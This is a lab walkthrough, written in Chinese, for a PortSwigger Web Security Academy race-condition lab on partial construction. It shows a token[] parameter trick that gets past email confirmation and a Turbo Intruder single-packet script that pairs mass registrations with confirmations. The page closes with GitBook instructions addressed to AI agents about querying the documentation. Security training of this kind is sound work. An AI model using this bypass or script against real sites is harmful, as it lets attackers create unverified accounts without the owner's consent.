> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/race-conditions/partial-construction-race-condition.md).

# 部分构造竞争条件

面向 PortSwigger Web Security Academy 实验室的部分构造竞争条件笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### 部分构造竞态条件

#### 实验目标

* 该站点提供一种带有 **邮件验证**.
* 一个 **竞争条件** 允许你 **绕过检查** 并使用任意地址注册。
* 最终目标： **创建账户**，登录，然后 **删除用户 `carlos`**.

#### 观察到的上下文（注册）

* 界面侧消息：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24f17f5b847a9c3887fdddafdd7706595e5abebd%2F%7BA18E1907-6B04-4C77-949C-F8B12AF0A421%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

尝试使用实验提供的邮箱创建账户 -> 响应：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e2b86436a7ab4121fd88df8e938f084b5aeddf4%2F%7BE5DDCCA7-1BEF-42AE-8C8A-8DC3AF55C4BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1aca0bde6c8441b02ece6dbb5b2e05899e24a135%2F%7B5D9701C9-ECBC-476D-9AD8-D38EC2CA4DAF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

尝试使用一个符合要求的邮箱，例如 `jordan@ginandjuice.shop` → 答案：

**“请检查你的电子邮件以获取账户注册链接”**.

{% code overflow="wrap" %}

```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22f658ac46758103d0577f611a5287baa76702e6%2F%7B7B94D162-1DED-46B2-B278-970DFAD645FE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec0fd237452ad5f22334c64db92ddabb494b5056%2F%7BA2F88AE9-8978-4E93-85CB-A6DF3687B997%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 利用分析（资源/users.js）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1856389c26e7f55e995f7c5f502e9de284c013e%2F%7B61020D38-C14D-475A-9587-0A93364AA401%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在 `users.js`，我们看到：

* 注册表单发送 `用户名`, `email`, `密码`.
* 电子邮件确认通过一个 **POST** 到：
* `POST /confirm?token=...`
* 令牌从 URL 中提取并注入到确认表单的 action 中。

结论：验证取决于一个端点 **/confirm** 设置我们的 **令牌** 通过查询字符串传输。

```javascript
const createRegistrationForm = () => {
    const form = document.getElementById('user-registration');

    const usernameLabel = document.createElement('label');
    usernameLabel.textContent = '用户名';
    const usernameInput = document.createElement('input');
    usernameInput.required = true;
    usernameInput.type = 'text';
    usernameInput.name = 'username';

    const emailLabel = document.createElement('label');
    emailLabel.textContent = '邮箱';
    const emailInput = document.createElement('input');
    emailInput.required = true;
    emailInput.type = 'email';
    emailInput.name = 'email';

    const passwordLabel = document.createElement('label');
    passwordLabel.textContent = '密码';
    const passwordInput = document.createElement('input');
    passwordInput.required = true;
    passwordInput.type = 'password';
    passwordInput.name = 'password';

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = '注册';

    form.appendChild(usernameLabel);
    form.appendChild(usernameInput);
    form.appendChild(emailLabel);
    form.appendChild(emailInput);
    form.appendChild(passwordLabel);
    form.appendChild(passwordInput);
    form.appendChild(button);
}

const confirmEmail = () => {
    const container = document.getElementsByClassName('confirmation')[0];

    const parts = window.location.href.split("?");
    const query = parts.length == 2 ? parts[1] : "";
    const action = query.includes('token') ? query : "";

    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/confirm?' + action;

    const button = document.createElement('button');
    button.className = 'button';
    button.type = 'submit';
    button.textContent = '确认';

    form.appendChild(button);
    container.appendChild(form);
}
```

#### 首次尝试与阻断

* 尝试强制进行空确认：

```http
POST /confirm?token=token
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3104ad225fdf70e33c271bee4a2e9a3c48eefcaf%2F%7BC969BCB1-E99A-4D2C-B948-62599AA6EFFB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 答案： **禁止访问** → 针对空令牌的受保护端点

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0f9a2ca9447db2f6319d1f0c25c7436ff79acb7%2F%7B17D6D042-46C7-435C-9442-D9FC5D60E1ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 绕过保护（另一种解释）

新尝试：

```bash
/confirm?token[]=
```

* 答案：\*\*
* 解释：后端不再以 Forbidden 阻止，而是 \*\*处理该值\*\*（但表明它是一个数组）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-952d13dd119a6beff53c6080f85a0b1beeed3e3e%2F%7BAF2023A8-A80E-46D2-A9FA-CBBFEBF17CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 计时观察

* 该 **注册** 请求更慢：
* /\~ **199 毫秒**

该 **确认** 请求更快：

* /\~ **78 毫秒**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2212f0fdc1cbafd615c64688264bf4f9b5110a0%2F%7B289847AD-FA12-4C23-A653-682E363F7785%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

思路： **轰炸** `/confirm?token[]=` 在账户创建的窗口期间，触发错误时机的确认

### 利用

#### 方法 1 — Intruder（竞争）

1. 将 `POST /confirm?token[]=` 请求发送到 Intruder。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580b56c3d66d7366456e0eb48057e605d8ea438d%2F%7BC4110C95-5EF1-4F6E-B08E-E6C940F4DA91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 配置为以 **竞争请求** 的方式发送（例如 10 个）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af72280592a255780a820f78271274cca675b45e%2F%7B9DC02AFB-6CFC-4C98-8F2B-70938D7E15AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 在此期间，从 Repeater（或浏览器）创建多个账户：
* `test1`, `test2`, `test3`,... `test7`

检查 Intruder 的响应：

* 其中一个响应最终返回 **200**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-052c1726658510d231f65cfdb78d83f54f5951d3%2F%7B6E3F2E7D-5D33-45FC-89DF-9B1CDF3BD983%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

尝试使用测试账户登录：

* 观察到成功（例如 `test2`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add0e6e230ebfb61ea89cd8bc7ecb7a137a8c582%2F%7B7EEA86E1-3FDD-4EFE-A8F5-7DA2B800B52A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 方法 2 — Turbo Intruder（竞态单包攻击）

1. 选择一个请求并发送到 **Turbo Intruder**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4212a4047bf210c2bf9c12f60b13616eaada2d61%2F%7B95A1879D-38AA-4B41-B114-10CD3B29CA3F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 选择 **竞态 / 单包** 攻击。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3168ca0f51b00fa627247ca14e5c8ebb9edb097f%2F%7B54164CBD-FEB5-4DF7-A0BC-A0DC3AD2C510%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用此脚本：

脚本原理（在此处的应用）：

* 文件 **多个注册** (`lol0..lol19` 用户）
* 请求 **多个确认** (`/confirm?token[]=`)
* 打开闸门以触发竞态条件。

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2
    )

    confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0

'''

    gate_name = "race1"

    for i in range(20):
        username = "lol" + str(i)
        engine.queue(target.req, [username], gate=gate_name)

    for j in range(50):
        engine.queue(confirmation_email, [], gate=gate_name)

    engine.openGate(gate_name)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4706c43374617ed55831e6b82d5e930744c312ae%2F%7B74D37D79-9A46-4D52-8BE7-CCBBD605E6C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 预期结果

* 至少会创建一个账户 **仿佛电子邮件已被确认** （无需拥有令牌）。
* 随后你可以用这个账户登录，再利用账户功能达成实验目标（删除 `carlos`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c8507bad44fec280f25f2f54c857fce9e66e323%2F%7BDD4E6F03-47AB-4F9D-9D1B-18FAF8A83924%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/race-conditions/partial-construction-race-condition.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
